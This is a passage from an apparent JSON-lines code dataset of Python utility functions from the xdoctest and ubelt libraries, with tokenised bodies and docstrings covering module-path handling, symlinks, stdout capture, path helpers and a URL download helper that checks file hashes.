/home/joncrall/code/xdoctest/xdoctest/static_analysis.py::modname_to_modpath:0\n\nExample:\n    >>> modname = 'xdoctest.__main__'\n    >>> modpath = modname_to_modpath(modname, hide_main=False)\n    >>> assert modpath.endswith('__main__.py')\n    >>> modname = 'xdoctest'\n    >>> modpath = modname_to_modpath(modname, hide_init=False)\n    >>> assert modpath.endswith('__init__.py')\n    >>> modpath = basename(modname_to_modpath('_ctypes'))\n    >>> assert 'ctypes' in modpath", "id": "f5130:m6"}
{"signature": "def normalize_modpath(modpath, hide_init=True, hide_main=False):", "body": "if six.PY2:<EOL><INDENT>if modpath.endswith('<STR_LIT>'):<EOL><INDENT>modpath = modpath[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if hide_init:<EOL><INDENT>if basename(modpath) == '<STR_LIT>':<EOL><INDENT>modpath = dirname(modpath)<EOL>hide_main = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>modpath_with_init = join(modpath, '<STR_LIT>')<EOL>if exists(modpath_with_init):<EOL><INDENT>modpath = modpath_with_init<EOL><DEDENT><DEDENT>if hide_main:<EOL><INDENT>if basename(modpath) == '<STR_LIT>':<EOL><INDENT>parallel_init = join(dirname(modpath), '<STR_LIT>')<EOL>if exists(parallel_init):<EOL><INDENT>modpath = dirname(modpath)<EOL><DEDENT><DEDENT><DEDENT>return modpath<EOL>", "docstring": "Normalizes __init__ and __main__ paths.\n\nNotes:\n    Adds __init__ if reasonable, but only removes __main__ by default\n\nArgs:\n    hide_init (bool): if True, always return package modules\n       as __init__.py files otherwise always return the dpath.\n    hide_init (bool): if True, always strip away main files otherwise\n       ignore __main__.py.\n\nCommandLine:\n    xdoctest -m xdoctest.static_analysis normalize_modpath\n\nExample:\n    >>> import xdoctest.static_analysis as static\n    >>> modpath = static.__file__\n    >>> assert static.normalize_modpath(modpath) == modpath.replace('.pyc', '.py')\n    >>> dpath = dirname(modpath)\n    >>> res0 = static.normalize_modpath(dpath, hide_init=0, hide_main=0)\n    >>> res1 = static.normalize_modpath(dpath, hide_init=0, hide_main=1)\n    >>> res2 = static.normalize_modpath(dpath, hide_init=1, hide_main=0)\n    >>> res3 = static.normalize_modpath(dpath, hide_init=1, hide_main=1)\n    >>> assert res0.endswith('__init__.py')\n    >>> assert res1.endswith('__init__.py')\n    >>> assert not res2.endswith('.py')\n    >>> assert not res3.endswith('.py')", "id": "f5130:m7"}
{"signature": "def modpath_to_modname(modpath, hide_init=True, hide_main=False, check=True,<EOL>relativeto=None):", "body": "if check and relativeto is None:<EOL><INDENT>if not exists(modpath):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(modpath))<EOL><DEDENT><DEDENT>modpath_ = abspath(expanduser(modpath))<EOL>modpath_ = normalize_modpath(modpath_, hide_init=hide_init,<EOL>hide_main=hide_main)<EOL>if relativeto:<EOL><INDENT>dpath = dirname(abspath(expanduser(relativeto)))<EOL>rel_modpath = relpath(modpath_, dpath)<EOL><DEDENT>else:<EOL><INDENT>dpath, rel_modpath = split_modpath(modpath_, check=check)<EOL><DEDENT>modname = splitext(rel_modpath)[<NUM_LIT:0>]<EOL>if '<STR_LIT:.>' in modname:<EOL><INDENT>modname, abi_tag = modname.split('<STR_LIT:.>')<EOL><DEDENT>modname = modname.replace('<STR_LIT:/>', '<STR_LIT:.>')<EOL>modname = modname.replace('<STR_LIT:\\\\>', '<STR_LIT:.>')<EOL>return modname<EOL>", "docstring": "Determines importable name from file path\n\nConverts the path to a module (__file__) to the importable python name\n(__name__) without importing the module.\n\nThe filename is converted to a module name, and parent directories are\nrecursively included until a directory without an __init__.py file is\nencountered.\n\nArgs:\n    modpath (str): module filepath\n    hide_init (bool): removes the __init__ suffix (default True)\n    hide_main (bool): removes the __main__ suffix (default False)\n    check (bool): if False, does not raise an error if modpath is a dir\n        and does not contain an __init__ file.\n    relativeto (str, optional): if specified, all checks are ignored and\n        this is considered the path to the root module.\n\nReturns:\n    str: modname\n\nRaises:\n    ValueError: if check is True and the path does not exist\n\nCommandLine:\n    xdoctest -m xdoctest.static_analysis modpath_to_modname\n\nExample:\n    >>> from xdoctest import static_analysis\n    >>> modpath = static_analysis.__file__.replace('.pyc', '.py')\n    >>> modpath = modpath.replace('.pyc', '.py')\n    >>> modname = modpath_to_modname(modpath)\n    >>> assert modname == 'xdoctest.static_analysis'\n\nExample:\n    >>> import xdoctest\n    >>> assert modpath_to_modname(xdoctest.__file__.replace('.pyc', '.py')) == 'xdoctest'\n    >>> assert modpath_to_modname(dirname(xdoctest.__file__.replace('.pyc', '.py'))) == 'xdoctest'\n\nExample:\n    >>> modpath = modname_to_modpath('_ctypes')\n    >>> modname = modpath_to_modname(modpath)\n    >>> assert modname == '_ctypes'", "id": "f5130:m8"}
{"signature": "def split_modpath(modpath, check=True):", "body": "if six.PY2:<EOL><INDENT>if modpath.endswith('<STR_LIT>'):<EOL><INDENT>modpath = modpath[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>modpath_ = abspath(expanduser(modpath))<EOL>if check:<EOL><INDENT>if not exists(modpath_):<EOL><INDENT>if not exists(modpath):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(modpath))<EOL><DEDENT>raise ValueError('<STR_LIT>'.format(modpath))<EOL><DEDENT>if isdir(modpath_) and not exists(join(modpath, '<STR_LIT>')):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(modpath))<EOL><DEDENT><DEDENT>full_dpath, fname_ext = split(modpath_)<EOL>_relmod_parts = [fname_ext]<EOL>dpath = full_dpath<EOL>while exists(join(dpath, '<STR_LIT>')):<EOL><INDENT>dpath, dname = split(dpath)<EOL>_relmod_parts.append(dname)<EOL><DEDENT>relmod_parts = _relmod_parts[::-<NUM_LIT:1>]<EOL>rel_modpath = os.path.sep.join(relmod_parts)<EOL>return dpath, rel_modpath<EOL>", "docstring": "Splits the modpath into the dir that must be in PYTHONPATH for the module\nto be imported and the modulepath relative to this directory.\n\nArgs:\n    modpath (str): module filepath\n    check (bool): if False, does not raise an error if modpath is a\n        directory and does not contain an `__init__.py` file.\n\nReturns:\n    tuple: (directory, rel_modpath)\n\nRaises:\n    ValueError: if modpath does not exist or is not a package\n\nExample:\n    >>> from xdoctest import static_analysis\n    >>> modpath = static_analysis.__file__.replace('.pyc', '.py')\n    >>> modpath = abspath(modpath)\n    >>> dpath, rel_modpath = split_modpath(modpath)\n    >>> recon = join(dpath, rel_modpath)\n    >>> assert recon == modpath\n    >>> assert rel_modpath == join('xdoctest', 'static_analysis.py')", "id": "f5130:m9"}
{"signature": "def symlink(real_path, link_path, overwrite=False, verbose=<NUM_LIT:0>):", "body": "path = normpath(real_path)<EOL>link = normpath(link_path)<EOL>if not os.path.isabs(path):<EOL><INDENT>if _can_symlink():<EOL><INDENT>path = os.path.relpath(path, os.path.dirname(link))<EOL><DEDENT>else:  <EOL><INDENT>path = os.path.abspath(path)<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(path=path, link=link))<EOL><DEDENT>if islink(link):<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>pointed = _readlink(link)<EOL>if pointed == path:<EOL><INDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>return link<EOL><DEDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>if not exists(link):<EOL><INDENT>print('<STR_LIT>'.format(pointed))<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'.format(pointed))<EOL><DEDENT><DEDENT>if overwrite:<EOL><INDENT>util_io.delete(link, verbose=verbose > <NUM_LIT:1>)<EOL><DEDENT><DEDENT>elif exists(link):<EOL><INDENT>if _win32_links is None:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>raise FileExistsError(<EOL>'<STR_LIT>'.format(path))<EOL><DEDENT>else:  <EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if _win32_links is None:<EOL><INDENT>os.symlink(path, link)<EOL><DEDENT>else:  <EOL><INDENT>_win32_links._symlink(path, link, overwrite=overwrite, verbose=verbose)<EOL><DEDENT>return link<EOL>", "docstring": "Create a symbolic link.\n\nThis will work on linux or windows, however windows does have some corner\ncases. For more details see notes in `ubelt._win32_links`.\n\nArgs:\n    path (PathLike): path to real file or directory\n    link_path (PathLike): path to desired location for symlink\n    overwrite (bool): overwrite existing symlinks.\n        This will not overwrite real files on systems with proper symlinks.\n        However, on older versions of windows junctions are\n        indistinguishable from real files, so we cannot make this\n        guarantee.  (default = False)\n    verbose (int):  verbosity level (default=0)\n\nReturns:\n    PathLike: link path\n\nCommandLine:\n    python -m ubelt.util_links symlink:0\n\nExample:\n    >>> import ubelt as ub\n    >>> dpath = ub.ensure_app_cache_dir('ubelt', 'test_symlink0')\n    >>> real_path = join(dpath, 'real_file.txt')\n    >>> link_path = join(dpath, 'link_file.txt')\n    >>> [ub.delete(p) for p in [real_path, link_path]]\n    >>> ub.writeto(real_path, 'foo')\n    >>> result = symlink(real_path, link_path)\n    >>> assert ub.readfrom(result) == 'foo'\n    >>> [ub.delete(p) for p in [real_path, link_path]]\n\nExample:\n    >>> import ubelt as ub\n    >>> from os.path import dirname\n    >>> dpath = ub.ensure_app_cache_dir('ubelt', 'test_symlink1')\n    >>> ub.delete(dpath)\n    >>> ub.ensuredir(dpath)\n    >>> _dirstats(dpath)\n    >>> real_dpath = ub.ensuredir((dpath, 'real_dpath'))\n    >>> link_dpath = ub.augpath(real_dpath, base='link_dpath')\n    >>> real_path = join(dpath, 'afile.txt')\n    >>> link_path = join(dpath, 'afile.txt')\n    >>> [ub.delete(p) for p in [real_path, link_path]]\n    >>> ub.writeto(real_path, 'foo')\n    >>> result = symlink(real_dpath, link_dpath)\n    >>> assert ub.readfrom(link_path) == 'foo', 'read should be same'\n    >>> ub.writeto(link_path, 'bar')\n    >>> _dirstats(dpath)\n    >>> assert ub.readfrom(link_path) == 'bar', 'very bad bar'\n    >>> assert ub.readfrom(real_path) == 'bar', 'changing link did not change real'\n    >>> ub.writeto(real_path, 'baz')\n    >>> _dirstats(dpath)\n    >>> assert ub.readfrom(real_path) == 'baz', 'very bad baz'\n    >>> assert ub.readfrom(link_path) == 'baz', 'changing real did not change link'\n    >>> ub.delete(link_dpath, verbose=1)\n    >>> _dirstats(dpath)\n    >>> assert not exists(link_dpath), 'link should not exist'\n    >>> assert exists(real_path), 'real path should exist'\n    >>> _dirstats(dpath)\n    >>> ub.delete(dpath, verbose=1)\n    >>> _dirstats(dpath)\n    >>> assert not exists(real_path)", "id": "f5131:m0"}
{"signature": "def _can_symlink(verbose=<NUM_LIT:0>):  ", "body": "if _win32_links is not None:<EOL><INDENT>return _win32_links._win32_can_symlink(verbose)<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Return true if we have permission to create real symlinks.\nThis check always returns True on non-win32 systems.\nIf this check returns false, then we still may be able to use junctions.\n\nCommandLine:\n    python -m ubelt.util_platform _can_symlink\n\nExample:\n    >>> # Script\n    >>> print(_can_symlink(verbose=1))", "id": "f5131:m2"}
{"signature": "def _dirstats(dpath=None):  ", "body": "from ubelt import util_colors<EOL>if dpath is None:<EOL><INDENT>dpath = os.getcwd()<EOL><DEDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>'.format(dpath))<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>if not os.path.exists(dpath):<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>paths = sorted(os.listdir(dpath))<EOL>for path in paths:<EOL><INDENT>full_path = join(dpath, path)<EOL>E = os.path.exists(full_path)<EOL>L = os.path.islink(full_path)<EOL>F = os.path.isfile(full_path)<EOL>D = os.path.isdir(full_path)<EOL>J = util_platform.WIN32 and _win32_links._win32_is_junction(full_path)<EOL>ELFDJ = [E, L, F, D, J]<EOL>if   ELFDJ == [<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>elif ELFDJ == [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]:<EOL><INDENT>path = util_colors.color_text(path, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'.format(dpath))<EOL>print('<STR_LIT>'.format(path))<EOL>raise AssertionError(str(ELFDJ) + str(path))<EOL><DEDENT>line = '<STR_LIT>'.format(**locals())<EOL>if os.path.islink(full_path):<EOL><INDENT>line += '<STR_LIT>' + os.readlink(full_path)<EOL><DEDENT>elif _win32_links is not None:<EOL><INDENT>if _win32_links._win32_is_junction(full_path):<EOL><INDENT>line += '<STR_LIT>' + _win32_links._win32_read_junction(full_path)<EOL><DEDENT><DEDENT>print(line)<EOL><DEDENT>", "docstring": "Testing helper for printing directory information\n(mostly for investigating windows weirdness)\n\nCommandLine:\n    python -m ubelt.util_links _dirstats", "id": "f5131:m3"}
{"signature": "def isatty(self):  ", "body": "return (self.redirect is not None and<EOL>hasattr(self.redirect, '<STR_LIT>') and self.redirect.isatty())<EOL>", "docstring": "Returns true of the redirect is a terminal.\n\nNotes:\n    Needed for IPython.embed to work properly when this class is used\n    to override stdout / stderr.", "id": "f5132:c0:m1"}
{"signature": "@property<EOL><INDENT>def encoding(self):<DEDENT>", "body": "if self.redirect is not None:<EOL><INDENT>return self.redirect.encoding<EOL><DEDENT>else:<EOL><INDENT>return super(TeeStringIO, self).encoding<EOL><DEDENT>", "docstring": "Gets the encoding of the `redirect` IO object\n\nDoctest:\n    >>> redirect = io.StringIO()\n    >>> assert TeeStringIO(redirect).encoding is None\n    >>> assert TeeStringIO(None).encoding is None\n    >>> assert TeeStringIO(sys.stdout).encoding is sys.stdout.encoding\n    >>> redirect = io.TextIOWrapper(io.StringIO())\n    >>> assert TeeStringIO(redirect).encoding is redirect.encoding", "id": "f5132:c0:m2"}
{"signature": "def write(self, msg):", "body": "if self.redirect is not None:<EOL><INDENT>self.redirect.write(msg)<EOL><DEDENT>if six.PY2:<EOL><INDENT>from xdoctest.utils.util_str import ensure_unicode<EOL>msg = ensure_unicode(msg)<EOL><DEDENT>super(TeeStringIO, self).write(msg)<EOL>", "docstring": "Write to this and the redirected stream", "id": "f5132:c0:m3"}
{"signature": "def flush(self):  ", "body": "if self.redirect is not None:<EOL><INDENT>self.redirect.flush()<EOL><DEDENT>super(TeeStringIO, self).flush()<EOL>", "docstring": "Flush to this and the redirected stream", "id": "f5132:c0:m4"}
{"signature": "def log_part(self):", "body": "self.cap_stdout.seek(self._pos)<EOL>text = self.cap_stdout.read()<EOL>self._pos = self.cap_stdout.tell()<EOL>self.parts.append(text)<EOL>self.text = text<EOL>", "docstring": "Log what has been captured so far", "id": "f5132:c2:m1"}
{"signature": "def stop(self):", "body": "if self.enabled:<EOL><INDENT>self.started = False<EOL>sys.stdout = self.orig_stdout<EOL><DEDENT>", "docstring": "Doctest:\n    >>> CaptureStdout(enabled=False).stop()\n    >>> CaptureStdout(enabled=True).stop()", "id": "f5132:c2:m3"}
{"signature": "def augpath(path, suffix='<STR_LIT>', prefix='<STR_LIT>', ext=None, base=None, multidot=False):", "body": "<EOL>dpath, fname = split(path)<EOL>if multidot:<EOL><INDENT>parts = fname.split('<STR_LIT:.>')<EOL>fname_noext = '<STR_LIT:.>'.join(parts[:<NUM_LIT:1>])<EOL>orig_ext = '<STR_LIT:.>'.join(parts[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>fname_noext, orig_ext = splitext(fname)<EOL><DEDENT>ext = orig_ext if ext is None else ext<EOL>fname_noext = fname_noext if base is None else base<EOL>new_fname = '<STR_LIT>'.join((prefix, fname_noext, suffix, ext))<EOL>newpath = join(dpath, new_fname)<EOL>return newpath<EOL>", "docstring": "Augments a path with a new basename, extension, prefix and/or suffix.\n\nA prefix is inserted before the basename. A suffix is inserted\nbetween the basename and the extension. The basename and extension can be\nreplaced with a new one.\n\nArgs:\n    path (PathLike): string representation of a path\n    suffix (str): placed between the basename and extension\n    prefix (str): placed in front of the basename\n    ext (str): if specified, replaces the extension\n    base (str): if specified, replaces the basename (without extension)\n    multidot (bool): if False, everything after the last dot in the\n        basename is the extension. If True, everything after the first dot\n        in the basename is the extension (Defaults to False).\n\nReturns:\n    PathLike: augmented path\n\nCommandLine:\n    python -m ubelt.util_path augpath\n\nExample:\n    >>> import ubelt as ub\n    >>> path = 'foo.bar'\n    >>> suffix = '_suff'\n    >>> prefix = 'pref_'\n    >>> ext = '.baz'\n    >>> newpath = ub.augpath(path, suffix, prefix, ext=ext, base='bar')\n    >>> print('newpath = %s' % (newpath,))\n    newpath = pref_bar_suff.baz\n\nExample:\n    >>> augpath('foo.bar')\n    'foo.bar'\n    >>> augpath('foo.bar', ext='.BAZ')\n    'foo.BAZ'\n    >>> augpath('foo.bar', suffix='_')\n    'foo_.bar'\n    >>> augpath('foo.bar', prefix='_')\n    '_foo.bar'\n    >>> augpath('foo.bar', base='baz')\n    'baz.bar'\n    >>> augpath('foo.tar.gz', ext='.zip', multidot=True)\n    foo.zip\n    >>> augpath('foo.tar.gz', ext='.zip', multidot=False)\n    foo.tar.zip", "id": "f5133:m0"}
{"signature": "def userhome(username=None):", "body": "if username is None:<EOL><INDENT>if '<STR_LIT>' in os.environ:<EOL><INDENT>userhome_dpath = os.environ['<STR_LIT>']<EOL><DEDENT>else:  <EOL><INDENT>if sys.platform.startswith('<STR_LIT:win32>'):<EOL><INDENT>if '<STR_LIT>' in os.environ:<EOL><INDENT>userhome_dpath = os.environ['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in os.environ:<EOL><INDENT>drive = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>userhome_dpath = join(drive, os.environ['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>raise OSError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>import pwd<EOL>userhome_dpath = pwd.getpwuid(os.getuid()).pw_dir<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if sys.platform.startswith('<STR_LIT:win32>'):  <EOL><INDENT>c_users = dirname(userhome())<EOL>userhome_dpath = join(c_users, username)<EOL>if not exists(userhome_dpath):<EOL><INDENT>raise KeyError('<STR_LIT>'.format(username))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>import pwd<EOL>try:<EOL><INDENT>pwent = pwd.getpwnam(username)<EOL><DEDENT>except KeyError:  <EOL><INDENT>raise KeyError('<STR_LIT>'.format(username))<EOL><DEDENT>userhome_dpath = pwent.pw_dir<EOL><DEDENT><DEDENT>return userhome_dpath<EOL>", "docstring": "Returns the user's home directory.\nIf `username` is None, this is the directory for the current user.\n\nArgs:\n    username (str): name of a user on the system\n\nReturns:\n    PathLike: userhome_dpath: path to the home directory\n\nExample:\n    >>> import getpass\n    >>> username = getpass.getuser()\n    >>> assert userhome() == expanduser('~')\n    >>> assert userhome(username) == expanduser('~')", "id": "f5133:m1"}
{"signature": "def compressuser(path, home='<STR_LIT>'):", "body": "path = normpath(path)<EOL>userhome_dpath = userhome()<EOL>if path.startswith(userhome_dpath):<EOL><INDENT>if len(path) == len(userhome_dpath):<EOL><INDENT>path = home<EOL><DEDENT>elif path[len(userhome_dpath)] == os.path.sep:<EOL><INDENT>path = home + path[len(userhome_dpath):]<EOL><DEDENT><DEDENT>return path<EOL>", "docstring": "Inverse of `os.path.expanduser`\n\nArgs:\n    path (PathLike): path in system file structure\n    home (str): symbol used to replace the home path. Defaults to '~', but\n        you might want to use '$HOME' or '%USERPROFILE%' instead.\n\nReturns:\n    PathLike: path: shortened path replacing the home directory with a tilde\n\nCommandLine:\n    xdoctest -m ubelt.util_path compressuser\n\nExample:\n    >>> path = expanduser('~')\n    >>> assert path != '~'\n    >>> assert compressuser(path) == '~'\n    >>> assert compressuser(path + '1') == path + '1'\n    >>> assert compressuser(path + '/1') == join('~', '1')\n    >>> assert compressuser(path + '/1', '$HOME') == join('$HOME', '1')", "id": "f5133:m2"}
{"signature": "def expandpath(path):", "body": "path = expanduser(path)<EOL>path = expandvars(path)<EOL>return path<EOL>", "docstring": "Wrapper around expanduser and expandvars.\n\nLess aggressive than truepath. Only expands environs and tilde. Does not\nchange relative paths to absolute paths.\n\nArgs:\n    path (PathLike): string representation of a path\n\nReturns:\n    PathLike : expanded path\n\nExample:\n    >>> import ubelt as ub\n    >>> assert normpath(ub.expandpath('~/foo')) == join(ub.userhome(), 'foo')\n    >>> assert ub.expandpath('foo') == 'foo'", "id": "f5133:m3"}
{"signature": "def truepath(path, real=False):", "body": "path = expanduser(path)<EOL>path = expandvars(path)<EOL>if real:<EOL><INDENT>path = realpath(path)<EOL><DEDENT>else:<EOL><INDENT>path = abspath(path)<EOL><DEDENT>path = normpath(path)<EOL>return path<EOL>", "docstring": "Normalizes a string representation of a path and does shell-like expansion.\n\nArgs:\n    path (PathLike): string representation of a path\n    real (bool): if True, all symbolic links are followed. (default: False)\n\nReturns:\n    PathLike : normalized path\n\nNote:\n    This function is similar to the composition of expanduser, expandvars,\n    normpath, and (realpath if `real` else abspath). However, on windows\n    backslashes are then replaced with forward slashes to offer a\n    consistent unix-like experience across platforms.\n\n    On windows expanduser will expand environment variables formatted as\n    %name%, whereas on unix, this will not occur.\n\nCommandLine:\n    python -m ubelt.util_path truepath\n\nExample:\n    >>> import ubelt as ub\n    >>> assert ub.truepath('~/foo') == join(ub.userhome(), 'foo')\n    >>> assert ub.truepath('~/foo') == ub.truepath('~/foo/bar/..')\n    >>> assert ub.truepath('~/foo', real=True) == ub.truepath('~/foo')", "id": "f5133:m4"}
{"signature": "def ensuredir(dpath, mode=<NUM_LIT>, verbose=None):", "body": "if verbose is None:  <EOL><INDENT>verbose = <NUM_LIT:0><EOL><DEDENT>if isinstance(dpath, (list, tuple)):  <EOL><INDENT>dpath = join(*dpath)<EOL><DEDENT>if not exists(dpath):<EOL><INDENT>if verbose:  <EOL><INDENT>print('<STR_LIT>' % dpath)<EOL><DEDENT>if sys.version_info.major == <NUM_LIT:2>:  <EOL><INDENT>os.makedirs(normpath(dpath), mode=mode)<EOL><DEDENT>else:<EOL><INDENT>os.makedirs(normpath(dpath), mode=mode, exist_ok=True)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:  <EOL><INDENT>print('<STR_LIT>' % dpath)<EOL><DEDENT><DEDENT>return dpath<EOL>", "docstring": "r\"\"\"\n    Ensures that directory will exist. Creates new dir with sticky bits by\n    default\n\n    Args:\n        dpath (PathLike): dir to ensure. Can also be a tuple to send to join\n        mode (int): octal mode of directory (default 0o1777)\n        verbose (int): verbosity (default 0)\n\n    Returns:\n        PathLike: path: the ensured directory\n\n    Notes:\n        This function is not thread-safe in Python2\n\n    Example:\n        >>> from ubelt.util_platform import *  # NOQA\n        >>> import ubelt as ub\n        >>> cache_dpath = ub.ensure_app_cache_dir('ubelt')\n        >>> dpath = join(cache_dpath, 'ensuredir')\n        >>> if exists(dpath):\n        ...     os.rmdir(dpath)\n        >>> assert not exists(dpath)\n        >>> ub.ensuredir(dpath)\n        >>> assert exists(dpath)\n        >>> os.rmdir(dpath)", "id": "f5133:m5"}
{"signature": "def download(url, fpath=None, hash_prefix=None, hasher='<STR_LIT>',<EOL>chunksize=<NUM_LIT>, verbose=<NUM_LIT:1>):", "body": "from progiter import ProgIter as Progress<EOL>from ubelt import util_platform<EOL>import shutil<EOL>import tempfile<EOL>import hashlib<EOL>if six.PY2:  <EOL><INDENT>from urllib2 import urlopen  <EOL><DEDENT>else:<EOL><INDENT>from urllib.request import urlopen  <EOL><DEDENT>if fpath is None:<EOL><INDENT>dpath = util_platform.ensure_app_cache_dir('<STR_LIT>')<EOL>fname = basename(url)<EOL>fpath = join(dpath, fname)<EOL><DEDENT>_dst_is_io_object = hasattr(fpath, '<STR_LIT>')<EOL>if verbose:<EOL><INDENT>if _dst_is_io_object:<EOL><INDENT>print('<STR_LIT>' % (url,))<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' % (url, fpath))<EOL><DEDENT><DEDENT>urldata = urlopen(url)<EOL>meta = urldata.info()<EOL>try:<EOL><INDENT>if hasattr(meta, '<STR_LIT>'):  <EOL><INDENT>file_size = int(meta.getheaders(\"<STR_LIT>\")[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>file_size = int(meta.get_all(\"<STR_LIT>\")[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>except Exception:  <EOL><INDENT>file_size = None<EOL><DEDENT>if hash_prefix:<EOL><INDENT>if isinstance(hasher, six.string_types):<EOL><INDENT>if hasher == '<STR_LIT>':<EOL><INDENT>hasher = hashlib.sha1()<EOL><DEDENT>elif hasher == '<STR_LIT>':<EOL><INDENT>hasher = hashlib.sha512()<EOL><DEDENT>else:<EOL><INDENT>raise KeyError(hasher)<EOL><DEDENT><DEDENT><DEDENT>if _dst_is_io_object:<EOL><INDENT>_file_write = fpath.write<EOL><DEDENT>else:<EOL><INDENT>tmp = tempfile.NamedTemporaryFile(delete=False)<EOL>_file_write = tmp.write<EOL><DEDENT>_urldata_read = urldata.read<EOL>try:<EOL><INDENT>with Progress(total=file_size, disable=not verbose) as pbar:<EOL><INDENT>_pbar_update = pbar.update<EOL>def _critical_loop():<EOL><INDENT>buffer = '<STR_LIT:U+0020>'<EOL>if hash_prefix:<EOL><INDENT>_hasher_update = hasher.update<EOL>while buffer:<EOL><INDENT>buffer = _urldata_read(chunksize)<EOL>_file_write(buffer)<EOL>_hasher_update(buffer)<EOL>_pbar_update(len(buffer))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while buffer:<EOL><INDENT>buffer = _urldata_read(chunksize)<EOL>_file_write(buffer)<EOL>_pbar_update(len(buffer))<EOL><DEDENT><DEDENT><DEDENT>_critical_loop()<EOL><DEDENT>if not _dst_is_io_object:<EOL><INDENT>tmp.close()<EOL>shutil.move(tmp.name, fpath)<EOL><DEDENT>if hash_prefix:<EOL><INDENT>got = hasher.hexdigest()<EOL>if got[:len(hash_prefix)] != hash_prefix:<EOL><INDENT>print('<STR_LIT>'.format(hash_prefix))<EOL>print('<STR_LIT>'.format(got))<EOL>if _dst_is_io_object:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(hash_prefix, got))<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>fpath, hash_prefix, got))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if not _dst_is_io_object:  <EOL><INDENT>tmp.close()<EOL>if exists(tmp.name):<EOL><INDENT>os.remove(tmp.name)<EOL><DEDENT><DEDENT><DEDENT>return fpath<EOL>", "docstring": "downloads a url to a fpath.\n\nArgs:\n    url (str):\n        The url to download.\n\n    fpath (PathLike | io.BytesIOtringIO):\n        The path to download to. Defaults to basename of url and ubelt's\n        application cache. If this is a io.BytesIO object then information\n        is directly written to this object (note this prevents the use of\n        temporary files).\n\n    hash_prefix (None or str):\n        If specified, download will retry / error if the file hash\n        does not match this value. Defaults to None.\n\n    hasher (str or Hasher):\n        If hash_prefix is specified, this indicates the hashing\n        algorithm to apply to the file. Defaults to sha512.\n\n    chunksize (int):\n        Download chunksize. Defaults to 2 ** 13.\n\n    verbose (int):\n        Verbosity level 0 or 1. Defaults to 1.\n\nReturns:\n    PathLike: fpath - file path string\n\nRaises:\n    URLError - if there is problem downloading the url\n    RuntimeError - if the hash does not match the hash_prefix\n\nNotes:\n    Original code taken from pytorch in torch/utils/model_zoo.py and\n    slightly modified.\n\nReferences:\n    